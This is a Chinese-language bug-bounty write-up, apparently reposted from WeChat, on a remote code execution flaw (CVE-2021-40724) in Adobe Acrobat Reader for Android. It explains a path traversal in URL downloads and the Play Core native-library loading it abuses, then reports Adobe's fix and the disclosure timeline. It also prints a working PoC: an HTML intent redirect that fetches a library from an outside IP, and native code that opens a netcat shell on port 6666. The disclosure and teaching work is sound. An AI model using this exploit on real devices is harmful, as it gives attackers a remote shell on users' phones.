声明：文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由用户承担全部法律及连带责任，文章作者不承担任何法律及连带责任。 |
背景介绍：
今天的故事来自一位ID名为SUNNY的白帽子，他在测试 Adobe Acrobat Reader APP时，发现该应用程序允许用户直接从 http/https URL打开 pdf 的功能，此功能会受到路径遍历漏洞影响。Abode Reader 还使用 了Google Play 核心库进行动态代码加载，使用路径遍历错误和动态代码加载，从而实现远程代码执行（RCE），该漏洞的CVE编号为CVE-2021-40724。
寻找路径遍历漏洞：
<activity android:theme="@style/Theme_Virgo_SplashScreen" android:name="com.adobe.reader.AdobeReader" android:exported="true" android:launchMode="singleTask" android:screenOrientation="user" android:configChanges="keyboardHidden|screenLayout|screenSize|smallestScreenSize" android:noHistory="false" android:resizeableActivity="true"><intent-filter><action android:name="android.intent.action.VIEW"/><action android:name="android.intent.action.EDIT"/><category android:name="android.intent.category.DEFAULT"/><category android:name="android.intent.category.BROWSABLE"/><data android:scheme="file"/><data android:scheme="content"/><data android:scheme="http"/><data android:scheme="https"/><data android:mimeType="application/pdf"/></intent-filter>
应用程序有一处intent-filter，表明可以接受 http/https URL，并且mime Type必须为application/pdf。
例如，当带有数据的URL（http://localhost/test.pdf）传送给Adobe Reader时，APP会将文件下载到/sdcard/Downloads/Adobe Acrobat文件夹中，文件名为所发送URL的LastPathSegment（如例子中会是test.pdf）
然后Activitycom.adobe.reader.AdobeReader接收到 Intent 并启动
ARFileURLDownloadActivityActivity。
public void handleIntent() {Intent intent2 = new Intent(this, ARFileURLDownloadActivity.class);intent2.putExtra(ARFileTransferActivity.FILE_PATH_KEY, intent.getData());intent2.putExtra(ARFileTransferActivity.FILE_MIME_TYPE, intent.getType());startActivity(intent2);}
此时ARFileURLDownloadActivity会启动com.adobe.reader.misc.ARFileURLDownloadService服务。
public void onMAMCreate(Bundle bundle) {super.onMAMCreate(bundle);this.mServiceIntent = new Intent(this, ARFileURLDownloadService.class);Bundle bundle2 = new Bundle();//...//this.mServiceIntent.putExtras(bundle2);startService();}
com.adobe.reader.misc.ARFileURLDownloadService.java代码：
public int onMAMStartCommand(Intent intent, int i, int i2) {Bundle extras = intent.getExtras();//..//String string = extras.getString(ARFileTransferActivity.FILE_MIME_TYPE, null);ARURLFileDownloadAsyncTask aRURLFileDownloadAsyncTask = new ARURLFileDownloadAsyncTask(ARApp.getInstance(), (Uri) extras.getParcelable(ARFileTransferActivity.FILE_PATH_KEY), (String) extras.getCharSequence(ARFileTransferActivity.FILE_ID_KEY), true, string);this.mURLFileDownloadAsyncTask = aRURLFileDownloadAsyncTask;aRURLFileDownloadAsyncTask.taskExecute(new Void[0]);return 2;}
com.adobe.reader.misc.ARURLFileDownloadAsyncTask.java代码：
private void downloadFile() throws IOException, SVFileDownloadException {Exception exc;boolean z;Throwable th;boolean z2;Uri fileURI = this.mDownloadModel.getFileURI();URL url = new URL(fileURI.toString());try {String downloadFile = new ARFileFromURLDownloader(new ARFileFromURLDownloader.DownloadUrlListener() {ARFileFromURLDownloader.DownloadUrlListenerpublic void onProgressUpdate(int i, int i2) {ARURLFileDownloadAsyncTask.this.broadcastUpdate(0, i, i2);}@Override // com.adobe.reader.misc.ARFileFromURLDownloader.DownloadUrlListenerpublic boolean shouldCancelDownload() {return ARURLFileDownloadAsyncTask.this.isCancelled();}}).downloadFile(BBIntentUtils.getModifiedFileNameWithExtensionUsingIntentData(fileURI.getLastPathSegment(), this.mDownloadModel.getMimeType(), null, fileURI), url);//...//
方法BBIntentUtils.getModifiedFileNameWithExtensionUsingIntentData接受this.mUri.getLastPathSegment()作为参数，并返回URL路径中解码后的最后一个片段。
例如，以URL:https://localhost/x/..%2F..%2Ffile.pdf为例，当这个URL传递给getLastPathSegment()方法时，它将接受..%2F..%2Ffile.pdf作为URL的最后一段，并返回../../file.pdf作为输出。
在将downloadFile变量传递到File实例之前，没有对其进行任何清理，于是便会导致路径遍历漏洞。
获得RCE：
Adobe Acrobat Reader APP使用Google Play核心库为用户提供移动附加功能，要知道应用程序是否正在使用Play Core库进行动态代码加载，一种简单的方法是检查/data/data/:application_id/files/目录中的spiltcompat目录。
使用路径遍历漏洞，白帽小哥可以在APP的
/data/data/com.adobe.reader/files/splitcompat/1921618197/verified-splits/目录中编写任意APK，攻击者的APK中的类将自动添加到APP的ClassLoader中，并在APP调用时执行恶意代码，更详细的解释，可移步：
https://blog.oversecured.com/Why-dynamic-code-loading-could-be-dangerous-for-your-apps-a-Google-example/
Adobe Reader APP还会在运行期间下载一个名为FASOpenCVDF.apk的模块，白帽小哥原本的计划是覆盖该文件并远程访问代码执行，但是无法成功实现，问题在于路径遍历漏洞无法覆盖现有文件…只能创建新文件。
在这个阶段白帽小哥被困绕了很久，他一直在寻找一种方法在无需安装额外APK的前提下来远程代码执行，在白帽小哥的设备上安装的Play Core库分析了其他应用程序后，他看到Play Core库也提供了从/data/data/com.adobe.reader/files/splitcompat/:id/native-libraries/目录加载本地代码(.so文件)的功能。
FASOpenCVDF.apk模块会从
/data/data/com.adobe.reader/files/splitcompat/1921819312/native-libraries/FASOpenCVDF.config.arm64_v8a目录加载了一个本地库，于是白帽小哥决定查看FASOpenCVDF.apk源代码，在那里他发现这个模块还试图加载三个不可用的库libADCComponent.so、libColoradoMobile.so和libopencv_info.so，于是成功解决了远程代码执行的问题。
白帽小哥创建了一个简单的本地PoC库，将其重命名为libopencvinfo.so，并将其放入
/data/data/com.adobe.reader/files/splitcompat/1921819312/native-libraries/FASOpenCVDF.config.arm64_v8a目录中，在下一次APP启动时，只要使用填充和签名功能，就能成功执行恶意代码了。
POC代码：
<html><title> RCE in Adobe Acrobat Reader for android </title><body><script>window.location.href="intent://34.127.85.178/x/x/x/x/x/..%2F..%2F..%2F..%2F..%2Fdata%2Fdata%2Fcom.adobe.reader%2Ffiles%2Fsplitcompat%2F1921819312%2Fnative-libraries%2FFASOpenCVDF.config.arm64_v8a%2Flibopencv_info.so#Intent;scheme=http;type=application/*;package=com.adobe.reader;component=com.adobe.reader/.AdobeReader;end";</script></body></html>
JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void* reserved) {if (fork() == 0) {system("toybox nc -p 6666 -L /system/bin/sh -l");}JNIEnv* env;if (vm->GetEnv(reinterpret_cast<void**>(&env), JNI_VERSION_1_6) != JNI_OK) {return JNI_ERR;}return JNI_VERSION_1_6;}
漏洞修复：
com.adobe.libs.buildingblocks.utils.BBIntentUtils.java代码：
private static final String FILE_NAME_RESERVED_CHARACTER = "[*/\|?<>"]";public static String getModifiedFileNameWithExtensionUsingIntentData(String str, String str2, ContentResolver contentResolver, Uri uri) {if (TextUtils.isEmpty(str)) {str = BBConstants.DOWNLOAD_FILE_NAME;}String str3 = null;if (!(contentResolver == null || uri == null)) {str3 = MAMContentResolverManagement.getType(contentResolver, uri);}String str4 = !TextUtils.isEmpty(str3) ? str3 : str2;if (!TextUtils.isEmpty(str4)) {String fileExtensionFromMimeType = BBFileUtils.getFileExtensionFromMimeType(str4);if (!TextUtils.isEmpty(fileExtensionFromMimeType)) {if (str.lastIndexOf(46) == -1) {str = str + '.' + fileExtensionFromMimeType;} else {String mimeTypeForFile = BBFileUtils.getMimeTypeForFile(str);if (TextUtils.isEmpty(mimeTypeForFile) || (!TextUtils.equals(mimeTypeForFile, str3) && !TextUtils.equals(mimeTypeForFile, str2))) {str = str + '.' + fileExtensionFromMimeType;}}}}return str.replaceAll(FILE_NAME_RESERVED_CHARACTER, "_");}
漏洞处理时间线：
-
Jul 29th,2021 – 向Adobe报告漏洞
-
Aug 4th ,2021 – 报告跟踪
-
Oct 13th,2021 – 漏洞修复
-
Dec 4th ,2021 – 获得来自GPSRP $10,000 奖励
感谢阅读，祝各位节日快乐！
====正文结束====
原文始发于微信公众号（骨哥说事）：【白帽故事】$10,000奖励：安卓平台Adobe Acrobat Reader RCE漏洞
